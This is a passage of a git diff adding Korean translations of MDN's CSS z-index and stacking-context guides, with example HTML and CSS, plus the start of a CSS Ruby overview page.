+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level</li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_2" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html
new file mode 100644
index 0000000000..d632745924
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_context_example_3/index.html
@@ -0,0 +1,167 @@
+---
+title: 쌓임 맥락 예제3
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <span class="title"><a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index">CSS z-index 이해하기</a></span></p>
+<h3 id="쌓임_맥락_예제3">쌓임 맥락 예제3</h3>
+<p>마지막 예제는 멀티 레벨 HTML 계층 구조에서 z-index 속성 값을 지정할때 생기는 문제에 대해 다룰 것이다. </p>
+<p>몇개의 position 속성 값이 지정된 3-레벨 계층 메뉴를 생각하자. 두번째 레벨과 세번째 레벨의 메뉴는 그들의 부모에 마우스를 갖다 대거나 클릭했을 때 보인다. 이 메뉴를 클래스 선택자를 통해 스타일링 해보자. </p>
+<p>만약 세 메뉴가 부분적으로 겹친다면 쌓임을 해결하는 것이 문제가 된다. </p>
+<p><img alt="Stacking context example 3" class="internal" src="/@api/deki/files/918/=Understanding_zindex_07.png"></p>
+<p>첫번째 레벨 메뉴는 position 속성 값만이 relative로 지정되어있다. 따라서 이는 쌓임 맥락을 형성하지 않는다. (역자: z-index 속성 값을 지정하지 않았다.) </p>
+<p>두번째 레벨 메뉴는 position 속성 값이 absolute로 지정되었다. 두번째 레벨 메뉴를 모든 첫번째 레벨 메뉴보다 위에 두기 위해서 z-index 속성 값이 사용되었다. 따라서 모든 두번째 레벨 메뉴에 쌓임 맥락이 생성되고 세번째 레벨 메뉴는 부모의 쌓임 맥락에 속하게 된다. </p>
+<p>따라서 세번째 레벨 메뉴는 그 부모의 다음 두번째 레벨 메뉴 아래에 놓이게 된다. 왜냐하면 모든 두번째 레벨 메뉴는 같은 z-index 속성 값을 가지고 기본 쌓임 규칙을 적용받기 때문이다. (역자: 같은 z-index 속성 값을 가지는 형제 엘리먼트들은 HTML 문서상에서 나중에 등장한 것이 위에 쌓인다.)</p>
+<p>이 상황을 더 잘 이해하기 위해 쌓임 맥락 계층 구조를 그려보자.</p>
+<ul>
+ <li>뿌리 엘리먼트 쌓임 맥락
+ <ul>
+ <li>LEVEL #1
+ <ul>
+ <li>LEVEL #2 (z-index: 1)
+ <ul>
+ <li>LEVEL #3</li>
+ <li>...</li>
+ <li>LEVEL #3</li>
+ </ul>
+ </li>
+ <li>LEVEL #2 (z-index: 1)</li>
+ <li>...</li>
+ <li>LEVEL #2 (z-index: 1)</li>
+ </ul>
+ </li>
+ <li>LEVEL #1</li>
+ <li>...</li>
+ <li>LEVEL #1</li>
+ </ul>
+ </li>
+</ul>
+<p>이 문제를 해결하는 방법에는 1) 서로 다른 메뉴를 겹치지 않게 배치하기, 2) 클래스 선택자 뿐만 아니라 id 선택자를 이용하여 각각의 엘리먼트에 z-index 속성 값을 지정하기, 3) HTML 구조를 단순화하여 멀티 레벨 메뉴를 사용하지 않기 등이 있다. </p>
+<div class="note">
+ <strong>노트:</strong> 소스 코드에는 두번째 레벨 메뉴와 세번째 레벨 메뉴들이 position 속성이 absolute로 지정된 컨테이너에 싸여있는 것을 볼 수 있다. 이는 여러개의 엘리먼트들의 위치를 한꺼번에 지정하는데 유용하다. </div>
+<h3 id="예제_소스_코드"><strong>예제 소스 코드</strong></h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div { font: 12px Arial; }
+
+span.bold { font-weight: bold; }
+
+div.lev1 {
+ width: 250px;
+ height: 70px;
+ position: relative;
+ border: 2px outset #669966;
+ background-color: #ccffcc;
+ padding-left: 5px;
+}
+
+#container1 {
+ z-index: 1;
+ position: absolute;
+ top: 30px;
+ left: 75px;
+}
+
+div.lev2 {
+ opacity: 0.9;
+ width: 200px;
+ height: 60px;
+ position: relative;
+ border: 2px outset #990000;
+ background-color: #ffdddd;
+ padding-left: 5px;
+}
+
+#container2 {
+ z-index: 1;
+ position: absolute;
+ top: 20px;
+ left: 110px;
+}
+
+div.lev3 {
+ z-index: 10;
+ width: 100px;
+ position: relative;
+ border: 2px outset #000099;
+ background-color: #ddddff;
+ padding-left: 5px;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+
+ &lt;div id="container1"&gt;
+
+ &lt;div class="lev2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+ &lt;br /&gt;z-index: 1;
+
+ &lt;div id="container2"&gt;
+
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+ &lt;div class="lev3"&gt;&lt;span class="bold"&gt;LEVEL #3&lt;/span&gt;&lt;/div&gt;
+
+ &lt;/div&gt;
+
+ &lt;/div&gt;
+
+ &lt;div class="lev2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;LEVEL #2&lt;/span&gt;
+ &lt;br /&gt;z-index: 1;
+ &lt;/div&gt;
+
+ &lt;/div&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div class="lev1"&gt;
+&lt;span class="bold"&gt;LEVEL #1&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_without_z-index" title="en/CSS/Understanding_z-index/Stacking_without_z-index">Stacking without z-index</a> : Default stacking rules</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+</ul>
+<p> </p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Exemple_d'empilement_3" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html
new file mode 100644
index 0000000000..04e826dc17
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/stacking_without_z-index/index.html
@@ -0,0 +1,145 @@
+---
+title: z-index가 없는 경우의 쌓임
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+---
+<p>« <a href="/ko/CSS" title="CSS">CSS</a> « <a href="/ko/CSS/Understanding_z-index" title="Understanding CSS z-index"><span class="title">CSS z-index 이해하기</span></a></p>
+<h3 id="z-index가_없는_경우의_쌓임">z-index가 없는 경우의 쌓임</h3>
+<p>만약 모든 엘리먼트들에 z-index가 지정되지 않았을 경우에는 엘리먼트들이 다음 순서로 아래에서부터 위로 쌓인다.</p>
+<ol>
+ <li>뿌리 엘리먼트의 배경과 테두리</li>
+ <li>자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+ <li>position이 지정된 자식 엘리먼트들은 HTML에서 등장하는 순서대로 </li>
+</ol>
+<p>다음 예제에는 위의 쌓임 규칙을 설명하기 위한 적당한 크기의 엘리먼트들이 준비되어있다. </p>
+<div class="note">
+ <p><strong>노트:</strong></p>
+ <ul>
+ <li>주어진 동일한 엘리먼트들의 그룹은 모두 z-index가 설정되지 않았다. DIV #1 부터 DIV #4 까지는 position 속성이 설정되었다. 엘리먼트의 position속성 값과는 상관 없이 HTML 계층 구조대로 쌓임을 알 수 있다. </li>
+ <li>
+ <p>position 속성이 지정되지 않은 블록(DIV #5)은 항상 position이 지정된 엘리먼트 이전에 렌더링 된다. 따라서 position이 지정된 엘리먼트 아래에 보인다. 설령 HTML 문서상에서 먼저 나오더라도 position이 지정되지 않은 엘리먼트는 지정된 엘리먼트보다 아래에 보인다. </p>
+ </li>
+ </ul>
+</div>
+<p><img alt="understanding_zindex_01.png" class="internal default" src="/@api/deki/files/910/=understanding_zindex_01.png"></p>
+<p> </p>
+<h3 id="Example" name="Example">예제</h3>
+<pre class="brush: html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;
+&lt;html&gt;
+&lt;head&gt;&lt;style type="text/css"&gt;
+
+div {
+ font: 12px Arial;
+}
+
+span.bold { font-weight: bold; }
+
+#normdiv {
+ height: 70px;
+ border: 1px dashed #999966;
+ background-color: #ffffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#reldiv1 {
+ opacity: 0.7;
+ height: 100px;
+ position: relative;
+ top: 30px;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#reldiv2 {
+ opacity: 0.7;
+ height: 100px;
+ position: relative;
+ top: 15px;
+ left: 20px;
+ border: 1px dashed #669966;
+ background-color: #ccffcc;
+ margin: 0px 50px 0px 50px;
+ text-align: center;
+}
+
+#absdiv1 {
+ opacity: 0.7;
+ position: absolute;
+ width: 150px;
+ height: 350px;
+ top: 10px;
+ left: 10px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+#absdiv2 {
+ opacity: 0.7;
+ position: absolute;
+ width: 150px;
+ height: 350px;
+ top: 10px;
+ right: 10px;
+ border: 1px dashed #990000;
+ background-color: #ffdddd;
+ text-align: center;
+}
+
+&lt;/style&gt;&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;br /&gt;&lt;br /&gt;
+
+&lt;div id="absdiv1"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="reldiv1"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+ &lt;br /&gt;position: relative;
+&lt;/div&gt;
+
+&lt;div id="reldiv2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+ &lt;br /&gt;position: relative;
+&lt;/div&gt;
+
+&lt;div id="absdiv2"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+ &lt;br /&gt;position: absolute;
+&lt;/div&gt;
+
+&lt;div id="normdiv"&gt;
+ &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+ &lt;br /&gt;no positioning
+&lt;/div&gt;
+
+&lt;/body&gt;&lt;/html&gt;
+
+</pre>
+<h3 id="See_also">See also</h3>
+<ul>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_and_float" title="en/CSS/Understanding_z-index/Stacking_and_float">Stacking and float</a> : How floating elements are handled</li>
+ <li><a href="/en/CSS/Understanding_z-index/Adding_z-index" title="en/CSS/Understanding_z-index/Adding_z-index">Adding z-index</a> : Using z-index to change default stacking</li>
+ <li><a href="/en/CSS/Understanding_z-index/The_stacking_context" title="en/CSS/Understanding_z-index/The_stacking_context">The stacking context</a> : Notes on the stacking context</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_1" title="en/CSS/Understanding_z-index/Stacking_context_example_1">Stacking context example 1</a> : 2-level HTML hierarchy, z-index on the last level</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_2" title="en/CSS/Understanding_z-index/Stacking_context_example_2">Stacking context example 2</a> : 2-level HTML hierarchy, z-index on all levels</li>
+ <li><a href="/en/CSS/Understanding_z-index/Stacking_context_example_3" title="en/CSS/Understanding_z-index/Stacking_context_example_3">Stacking context example 3</a> : 3-level HTML hierarchy, z-index on the second level<span id="cke_bm_94E" style="display: none;"> </span></li>
+</ul>
+<p> </p>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the english translation of an article I wrote in italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+ </ul>
+</div>
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Empilement_sans_z-index" } ) }}</p>
diff --git a/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
new file mode 100644
index 0000000000..0e55368fa2
--- /dev/null
+++ b/files/ko/web/css/css_positioning/understanding_z_index/the_stacking_context/index.html
@@ -0,0 +1,240 @@
+---
+title: 쌓임 맥락
+slug: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+tags:
+ - Advanced
+ - CSS
+ - Guide
+ - Reference
+ - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context
+---
+<div>{{cssref}}</div>
+
+<p><span class="seoSummary"><strong>쌓임 맥락</strong>(stacking context)은 가상의 Z축을 사용한 HTML 요소의 3차원 개념화입니다.</span> Z축은 사용자 기준이며, 사용자는 뷰포트 혹은 웹페이지를 바라보고 있을 것으로 가정합니다. 각각의 HTML 요소는 자신의 속성에 따른 우선순위를 사용해 3차원 공간을 차지합니다.</p>
+
+<h2 id="쌓임_맥락">쌓임 맥락</h2>
+
+<p>이전 글 <a href="/ko/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index">z-index 사용하기</a>에서 보았듯, 특정 요소의 렌더링 순서는 자신의 <code>z-index</code> 속성 값에 영향을 받습니다. 이는 그 요소들이 가진 특별한 속성으로 인해 <strong>쌓임 맥락</strong>이 생성되기 때문입니다.</p>
+
+<p>쌓임 맥락은, 문서 어디에서나, 다음 조건을 만족하는 요소가 생성합니다.</p>
+
+<ul>
+ <li>문서의 루트 요소. (<code>&lt;html&gt;</code>)</li>
+ <li>{{cssxref("position")}}이 <code>absolute</code> 또는 <code>relative</code>이고, {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>{{cssxref("position")}}이 <code>fixed</code> 또는 <code>sticky</code>인 요소. (<code>sticky</code>는 모든 모바일 브라우저에서는 해당하지만 구형 데스크톱 브라우저에서는 해당하지 않음)</li>
+ <li>플렉스({{cssxref("flexbox")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>그리드({{cssxref("grid")}}) 컨테이너의 자식 중 {{cssxref("z-index")}}가 <code>auto</code>가 아닌 요소.</li>
+ <li>{{cssxref("opacity")}}가 1보다 작은 요소. (<a href="http://www.w3.org/TR/css3-color/#transparency">불투명도 명세</a> 참고)</li>
+ <li>{{cssxref("mix-blend-mode")}}가 <code>normal</code>이 아닌 요소.</li>
+ <li>다음 속성 중 하나라도 <code>none</code>이 아닌 값을 가진 요소.
+ <ul>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("filter")}}</li>
+ <li>{{cssxref("perspective")}}</li>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>{{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}</li>
+ </ul>
+ </li>
+ <li>{{cssxref("isolation")}}이 <code>isolate</code>인 요소.</li>
+ <li>{{cssxref("-webkit-overflow-scrolling")}}이 <code>touch</code>인 요소.</li>
+ <li>{{cssxref("will-change")}}의 값으로, 초깃값이 아닐 때 새로운 쌓임 맥락을 생성하는 속성을 지정한 요소.</li>
+ <li>{{cssxref("contain")}}이 <code>layout</code>, <code>paint</code>, 또는 둘 중 하나를 포함하는 값(<code>strict</code>, <code>content</code> 등)인 요소.</li>
+</ul>
+
+<p>쌓임 맥락 안의 자식 요소는 이전에 설명했던 규칙을 동일하게 사용해 쌓입니다. 중요한 것은, 자식의 <code>z-index</code> 값은 부모에게만 의미가 있다는 점입니다. 하나의 쌓임 맥락은 부모 쌓임 맥락 안에서 통째로 하나의 단위로 간주됩니다.</p>
+
+<p>요약하면,</p>
+
+<ul>
+ <li>쌓임 맥락이 다른 쌓임 맥락을 포함할 수 있고, 함께 계층 구조를 이룹니다.</li>
+ <li>쌓임 맥락은 형제 쌓임 맥락과 완전히 분리됩니다. 쌓임을 처리할 땐 자손 요소만 고려합니다.</li>
+ <li>각각의 쌓임 맥락은 독립적입니다. 어느 요소의 콘텐츠를 쌓은 후에는 그 요소를 통째 부모 쌓임 맥락 안에 배치합니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 모든 요소가 쌓임 맥락을 생성하는 건 아니므로, 쌓임 맥락의 계층 구조는 HTML 요소 계층 구조의 부분집합입니다. 자신의 쌓임 맥락을 만들지 않은 요소는 '부모 쌓임 맥락에 의해 <strong>동화된다</strong>'라고 표현할 수 있겠습니다.</div>
+
+<h2 id="예시"><strong>예시</strong></h2>
+
+<p><img alt="Example of stacking rules modified using z-index" class="internal" src="/@api/deki/files/913/=Understanding_zindex_04.png"></p>
+
+<p>위의 예시에서, 모든 요소는 각자의 포지션과 <code>z-index</code>로 인해 자신의 쌓임 맥락을 형성합니다. 쌓임 맥락의 계층 구조는 다음과 같습니다.</p>
+
+<ul>
+ <li>루트
+ <ul>
+ <li>DIV #1</li>
+ <li>DIV #2</li>
+ <li>DIV #3
+ <ul>
+ <li>DIV #4</li>
+ <li>DIV #5</li>
+ <li>DIV #6</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+</ul>
+
+<p>DIV #4, DIV #5, DIV #6은 DIV #3의 자식이므로, DIV #3 내부에서만 셋의 쌓임을 처리했다는 것을 이해하는게 중요합니다. DIV #3 내부의 요소의 쌓기와 렌더링이 끝난 후에는, 전체 DIV #3을 루트 요소의 쌓임 맥락 하에서 형제 DIV와 쌓습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong></p>
+
+<ul>
+ <li>DIV #4는 DIV #1보다 z-index 속성 값이 더 크지만 DIV #1보다 아래에 렌더링 되었다. 왜냐하면 DIV #1의 z-index 속성 값인 5는 뿌리 엘리먼트의 쌓임 맥락 안에서 유효하나 DIV #4의 z-index 속성 값인 6은 DIV #3의 쌓임 맥락 안에서만 유효하기 때문이다. DIV #4는 자신이 속하는 DIV #3의 z-index 속성 값이 4이므로 DIV #1 아래에 쌓였다.</li>
+ <li>같은 이유로 DIV #2는 DIV #5 아래에 렌더링 되었다. DIV #5는 DIV #2보다 z-index 값이 작지만 뿌리 엘리먼트의 쌓임 맥락안에서 유효한 DIV #5가 속한 DIV #3의 z-index 값이 DIV #2의 z-index 값 보다 더 크기 때문이다.</li>
+ <li>DIV #3의 z-index 속성 값인 4는 DIV #4, DIV #5, DIV #6의 z-index 속성값과 독립적이다. 왜냐하면 다른 쌓임 맥락에 속해있기 때문이다.</li>
+ <li>렌더링 순서를 이해하는 쉬운 방법은 z-index를 "버전 번호" 처럼 생각하는 것이다. 자식 엘리먼트는 부모 엘리먼트 버전 번호의 마이너 버전이다. 이 방법은 왜 z-index가 1인 DIV #5가 z-index가 2인 DIV #2 위에 쌓였는지, z-index가 6인 DIV #4가 z-index가 5인 DIV #1 아래에 쌓였는지 이해하게 해준다. 우리 예제에서는
+ <ul>
+ <li>뿌리 엘리먼트
+ <ul>
+ <li>DIV #2 - z-index가 2</li>
+ <li>DIV #3 - z-index가 4
+ <ul>
+ <li>DIV #5 - z-index가 1인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.1이다.</li>
+ <li>DIV #6 - z-index가 3인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.3이다.</li>
+ <li>DIV #4 - z-index가 6인데 z-index가 4인 엘리먼트 아래에서 쌓였으므로 렌더링 순서는 4.6이다.</li>
+ </ul>
+ </li>
+ <li>DIV #1 - z-index가 5</li>
+ </ul>
+ </li>
+ </ul>
+ </li>
+</ul>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate"><code>&lt;div id="div1"&gt;
+ &lt;h1&gt;Division Element #1&lt;/h1&gt;
+ &lt;code&gt;position: relative;&lt;br/&gt;
+ z-index: 5;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div2"&gt;
+ &lt;h1&gt;Division Element #2&lt;/h1&gt;
+ &lt;code&gt;position: relative;&lt;br/&gt;
+ z-index: 2;&lt;/code&gt;
+&lt;/div&gt;
+
+&lt;div id="div3"&gt;
+ &lt;div id="div4"&gt;
+ &lt;h1&gt;Division Element #4&lt;/h1&gt;
+ &lt;code&gt;position: relative;&lt;br/&gt;
+ z-index: 6;&lt;/code&gt;
+ &lt;/div&gt;
+
+ &lt;h1&gt;Division Element #3&lt;/h1&gt;
+ &lt;code&gt;position: absolute;&lt;br/&gt;
+ z-index: 4;&lt;/code&gt;
+
+ &lt;div id="div5"&gt;
+ &lt;h1&gt;Division Element #5&lt;/h1&gt;
+ &lt;code&gt;position: relative;&lt;br/&gt;
+ z-index: 1;&lt;/code&gt;
+ &lt;/div&gt;
+
+ &lt;div id="div6"&gt;
+ &lt;h1&gt;Division Element #6&lt;/h1&gt;
+ &lt;code&gt;position: absolute;&lt;br/&gt;
+ z-index: 3;&lt;/code&gt;
+ &lt;/div&gt;
+&lt;/div&gt;</code></pre>
+
+<h3 id="Division_Element_.231" name="Division_Element_.231">CSS</h3>
+
+<pre class="brush: css notranslate"><code>* {
+ margin: 0;
+}
+html {
+ padding: 20px;
+ font: 12px/20px Arial, sans-serif;
+}
+div {
+ opacity: 0.7;
+ position: relative;
+}
+h1 {
+ font: inherit;
+ font-weight: bold;
+}
+#div1,
+#div2 {
+ border: 1px dashed #696;
+ padding: 10px;
+ background-color: #cfc;
+}
+#div1 {
+ z-index: 5;
+ margin-bottom: 190px;
+}
+#div2 {
+ z-index: 2;
+}
+#div3 {
+ z-index: 4;
+ opacity: 1;
+ position: absolute;
+ top: 40px;
+ left: 180px;
+ width: 330px;
+ border: 1px dashed #900;
+ background-color: #fdd;
+ padding: 40px 20px 20px;
+}
+#div4,
+#div5 {
+ border: 1px dashed #996;
+ background-color: #ffc;
+}
+#div4 {
+ z-index: 6;
+ margin-bottom: 15px;
+ padding: 25px 10px 5px;
+}
+#div5 {
+ z-index: 1;
+ margin-top: 15px;
+ padding: 5px 10px;
+}
+#div6 {
+ z-index: 3;
+ position: absolute;
+ top: 20px;
+ left: 180px;
+ width: 150px;
+ height: 125px;
+ border: 1px dashed #009;
+ padding-top: 125px;
+ background-color: #ddf;
+ text-align: center;
+}</code></pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', '100%', '396') }}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index">Stacking without the z-index property</a>: The stacking rules that apply when <code>z-index</code> is not used.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float">Stacking with floated blocks</a>: How floating elements are handled with stacking.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index">Using z-index</a>: How to use <code>z-index</code> to change default stacking.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1">Stacking context example 1</a>: 2-level HTML hierarchy, <code>z-index</code> on the last level</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_2">Stacking context example 2</a>: 2-level HTML hierarchy, <code>z-index</code> on all levels</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_3">Stacking context example 3</a>: 3-level HTML hierarchy, <code>z-index</code> on the second level</li>
+</ul>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): Paolo Lombardi</li>
+ <li>This article is the English translation of an article I wrote in Italian for <a class="external" href="http://www.yappy.it">YappY</a>. I grant the right to share all the content under the <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a>.</li>
+ <li>Last Updated Date: July 9, 2005</li>
+</ul>
+</div>
diff --git a/files/ko/web/css/css_ruby/index.html b/files/ko/web/css/css_ruby/index.html
new file mode 100644
index 0000000000..e7266af671
--- /dev/null
+++ b/files/ko/web/css/css_ruby/index.html
@@ -0,0 +1,45 @@
+---
+title: CSS Ruby
+slug: Web/CSS/CSS_Ruby
+tags:
+ - CSS
+ - CSS Ruby
+ - Overview
+ - Reference
+translation_of: Web/CSS/CSS_Ruby
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Ruby</strong>는 행간 주석의 형태로 기본 텍스트와 함께 작게 실행되는 텍스트인 ruby 주석 표시와 관련된 렌더링 모델 및 서식 컨트롤을 제공하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("ruby-align")}}</li>
+ <li>{{cssxref("ruby-position")}}</li>
+</ul>
+</div>
